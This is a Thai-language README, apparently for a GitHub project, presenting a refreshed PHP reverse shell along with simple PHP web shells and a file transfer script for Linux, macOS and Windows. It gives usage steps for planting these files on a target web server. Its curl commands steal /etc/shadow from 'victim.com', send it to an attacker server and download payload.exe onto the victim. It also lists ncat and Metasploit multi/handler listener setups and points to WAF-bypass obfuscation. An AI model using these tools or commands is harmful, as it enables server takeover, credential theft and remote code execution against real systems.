เพียงแค่รีเฟรชเล็กน้อยใน PHP reverse shell script ยอดนิยม pentestmonkey/php-reverse-shell เครดิตกับผู้แต่งดั้งเดิม!
ทำงานบน Linux OS และ MacOS ด้วย /bin/sh และ windows os พร้อม cmd.exe สคริปต์จะตรวจจับระบบปฏิบัติการพื้นฐานโดยอัตโนมัติ
ทำงานร่วมกับทั้ง ncat และ multi/handler
ทดสอบบน XAMPP สำหรับ Linux V7.3.19 (64 บิต) ด้วย PHP V7.3.19 บน Kali Linux V2020.2 (64 บิต)
ทดสอบบน XAMPP สำหรับ OS X V7.4.10 (64 บิต) ด้วย PHP v7.4.10 บน MacOS Catalina v10.15.6 (64- บิต)
ทดสอบบน XAMPP สำหรับ Windows v7.4.3 (64 บิต) ด้วย PHP v7.4.3 บน Windows 10 Enterprise OS (64 บิต)
นอกจากนี้ทุกอย่างได้รับการทดสอบใน Images Docker Nouphet/Docker-PHP4 ด้วย PHP v4.4.0 และ Steeze/Php52-Nginx พร้อม PHP v5.2.17
ทำเพื่อวัตถุประสงค์ทางการศึกษา ฉันหวังว่ามันจะช่วยได้!
กระบวนการท่อบน Windows OS ไม่รองรับการดำเนินการแบบอะซิงโครนัสดังนั้น stream_set_blocking() , stream_select() และ feof() จะทำงานไม่ถูกต้อง แต่ฉันพบวิธีแก้ปัญหา
/src/reverse/php_reverse_shell.php ต้องการ php v5.0.0 หรือมากกว่า
/src/reverse/php_reverse_shell_older.php ต้องการ php v4.3.0 หรือมากกว่า
เปลี่ยนที่อยู่ IP และหมายเลขพอร์ตภายในสคริปต์ตามความจำเป็น
Copy /src/reverse/php_reverse_shell.php ไปยังไดเรกทอรีเว็บรูทของเซิร์ฟเวอร์ของคุณ (เช่น/opt/lampp/htdocs/บน XAMPP) หรืออัปโหลดไปยังเว็บเซิร์ฟเวอร์เป้าหมายของคุณ
นำทางไปยังไฟล์ด้วยเว็บเบราว์เซอร์ที่คุณต้องการ
ตรวจสอบเว็บเชลล์ PHP แบบง่ายตามคำขอโพสต์ HTTP
ตรวจสอบเว็บเชลล์ PHP แบบง่ายตามคำขอ GET HTTP คุณต้องเข้ารหัสคำสั่งของคุณ
ตรวจสอบ PHP Web Shell V2 อย่างง่ายตามคำขอ GET HTTP คุณต้องเข้ารหัสคำสั่งของคุณ
ค้นหาข้อมูลเพิ่มเติมเกี่ยวกับเทคนิคการทำให้งงงวย PHP สำหรับ PHP รุ่นเก่าที่ LCATRO/PHP-WEBSHELL-BYPASS-WAF เครดิตกับผู้แต่ง!
ตรวจสอบสคริปต์อัปโหลด/ดาวน์โหลดไฟล์ PHP อย่างง่ายตามคำขอโพสต์ HTTP สำหรับการอัปโหลดไฟล์และ HTTP GET Request สำหรับการดาวน์โหลดไฟล์
เมื่อดาวน์โหลดไฟล์คุณต้องเข้ารหัสเส้นทางไฟล์และอย่าลืมระบุไฟล์เอาต์พุตหากใช้ Curl
เมื่ออัปโหลดไฟล์อย่าลืมระบุ @ ก่อนเส้นทางไฟล์
ขึ้นอยู่กับการกำหนดค่าเซิร์ฟเวอร์การดาวน์โหลดไฟล์ผ่านพารามิเตอร์ HTTP Get Request อาจไม่ได้ผลเสมอไปคุณจะต้องไม่ยอมใครง่ายๆเส้นทางไฟล์ในสคริปต์
นำทางไปยังสคริปต์บนเว็บเซิร์ฟเวอร์ของเหยื่อด้วยเว็บเบราว์เซอร์ที่คุณต้องการหรือใช้ Curl จากพีซีของคุณ
อัปโหลดไฟล์ไปยังไดเรกทอรีเว็บรูทของเซิร์ฟเวอร์จากพีซีของคุณ:
curl -skL -X POST https://victim.com/files.php -F file=@/root/payload.exe
ดาวน์โหลดไฟล์จากเซิร์ฟเวอร์ไปยังพีซีของคุณ:
curl -skL -X GET https://victim.com/files.php?file=/etc/shadow -o shadow
หากคุณยกระดับสิทธิ์เริ่มต้นภายในเชลล์ย้อนกลับสคริปต์นี้อาจไม่มีสิทธิ์เช่นเดียวกับเชลล์ ในกรณีนี้ในการดาวน์โหลดไฟล์บางไฟล์คุณอาจต้องคัดลอกไฟล์ไปยังไดเรกทอรีเว็บรูทและตั้งค่าการอ่านที่จำเป็น
จาก Shell Reverse PHP ของคุณเรียกใช้คำสั่ง CURL ต่อไปนี้
อัปโหลดไฟล์จากพีซีของเหยื่อไปยังไดเรกทอรีเว็บรูทของเซิร์ฟเวอร์ของคุณ:
curl -skL -X POST https://my-server.com/files.php -F file=@/etc/shadow
ดาวน์โหลดไฟล์จากไดเรกทอรีเว็บรูทของเซิร์ฟเวอร์ไปยังพีซีของเหยื่อ:
curl -skL -X GET https://my-server.com/files.php?file=/root/payload.exe -o payload.exe
curl -skL -X GET https://my-server.com/payload.exe -o payload.exe
ในการตั้งค่าผู้ฟังให้เปิดคอนโซลที่คุณต้องการบน Kali Linux และเรียกใช้หนึ่งในตัวอย่างด้านล่าง
ตั้งค่าผู้ฟัง ncat :
ncat -nvlp 9000
ตั้งค่า multi/handler Listener:
msfconsole -q
use exploit/multi/handler
set PAYLOAD windows/shell_reverse_tcp
set LHOST 192.168.8.185
set LPORT 9000
exploit

รูปที่ 1 - NCAT

รูปที่ 2 - การถ่ายโอนข้อมูลของสคริปต์